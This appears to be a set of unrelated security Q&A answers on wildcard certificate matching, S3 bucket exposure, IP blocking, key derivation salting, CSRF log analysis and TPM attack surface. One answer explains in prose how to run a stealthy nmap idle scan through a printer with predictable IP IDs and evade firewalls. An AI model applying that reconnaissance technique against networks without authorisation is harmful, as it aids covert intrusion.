Looking at the source code of OpenSSL and Chromium: they follow this recommendation and have explicit tests for this case. This means that neither  xn--bcher*.tld nor *-kva.tld  would match xn--bcher-kva.tld
I can not find anything about this topic in the CA browser forum baseline requirements though.


For an idle (zombie) scan to work you don't actually care about the ports being opened or closed in your zombie machine that you want to relay on for your scan.
You care about the IP sequence number: if it is incremental your zombie target is a good candidate for your scan.
IP seq number is usually random, but some printers don't randomize it enough in their printing protocol's pings each few seconds, so you can exploit this to use it for your scan.

This is what happens when a zombie machine is not randomizing its TCP/IP seq number and the port is open in your targeted machine, the one to be scanned:

Note that if there is a stateful firewall between you and your zombie machine it will block any SYN/ACK packets without previous initialized connection so you should seek another zombie where firewall is not blocking your forged SYN/ACK packets.

Another option is to send a SYN instead of a SYN/ACK, but I am not sure if this is possible in nmap. You may want to build your own scanner with hping3


Bottom line, the answer is No.

If your S3 bucket is public, and you make it a website, the bucket name will appear in certificate logs which are fully public. There are tools that sniff certificate logs just to find such S3 buckets.

Also if you make it a website -- it'll appear in the links you're presumably sharing out.

The way to secure an S3 bucket is to make it private, and grant access to the specific IAM roles that need access. Do not rely on long complicated names to protect it alone.

That being said -- if you truly don't want anyone to find the stuff in your bucket, I'd definitely give it a long complicated name and make it private. It at least adds some layer of protection, for the times where maybe some script somewhere turns it public (AWS is complicated!)

Also, the recommended way to expose an S3 bucket website is usually CloudFront, where your bucket can remain fully private, yet still expose its contents to the internet. This way, folks can't perform bucket operations like list buckets without being granted the specific permissions.


You could go and do a GeoIP lookup on the IP address, given that it's not spoofed (which 9/10 times it is).  If the IP isn't hopping too much, you could create a drop rule to block traffic from that IP.  You may even be able to drop the subnet given all the source IP's are in that subnet.  It seems like they are throwing random attacks at you.  There isn't a lot of information to go on with this post.  Perhaps you have more log entries with different information?  Are there any IP addresses that you can provide that are not your own?


Do password derived encryption keys need to be salted?

Whenever you have a human password and want to process it into some format that "leaves traces", then you need to do it with a function that is resilient to brute force (e.g. PBKDF2). You thus need to do that when you hash the password to obtain a password verification token that you store; you also need to do that when you are turning the password into a key for symmetric encryption.

To make things clearer: if you turn password P into key K and then use K to encrypt some data D and store the encrypted result E, then an attacker, observing E, could "try passwords" by turning a potential password P' into key K' and then trying to decrypt E with K' and see if it yields some sensible data D. This is the offline dictionary attack situation, very similar to basic password hashing.

Strictly speaking, turning some data into a key is called Key Derivation, and "PBKDF" really means "Password-Based Key Derivation Function".


What are the common features to identify CSRF attack from Apache log file?

If you do not have CSRF protection in place, you can gather from the logs that a page has been spontaneously accessed, without going though an expected set of pages (each of them bringing in its CSRF token).

Unfortunately if your site is being scanned and walked though, this out-of-band approach will not work easily, and in that case the volume of queries may be an indication (possibly of an attack / reconnaissance, not of a CSRF attack specifically)

In other words, there are no clear indications of a CSRF attack being performed.

If you do have CSRF protection in place, it depends where the token is.

If it is in the body of the request (specifically, the headers) - you will not see it in the logs either.
If it is in the URL arguments, then you can search in the logs for URLs which do not have the token.


The Trusted Platform Module which is built into all new Intel processors hasn't been around for very long and I am not aware of any publicly known attacks directly against TPM.

However, an important principle of security "The system as a whole is only as strong as its weakest link."  So how TPM is bypassed really depends on how TPM is being used.  A good example is ChromeOS using TPM to manage encryption keys.  However,  the user's encryption key is based on your password,  which could be obtained with a Hardware Keylogger,  Phising,  Rubber Hose Cryptanalysis,  or other means.

Although TPM is probably a good solution for key storage,  there are many ways to obtaining secrets.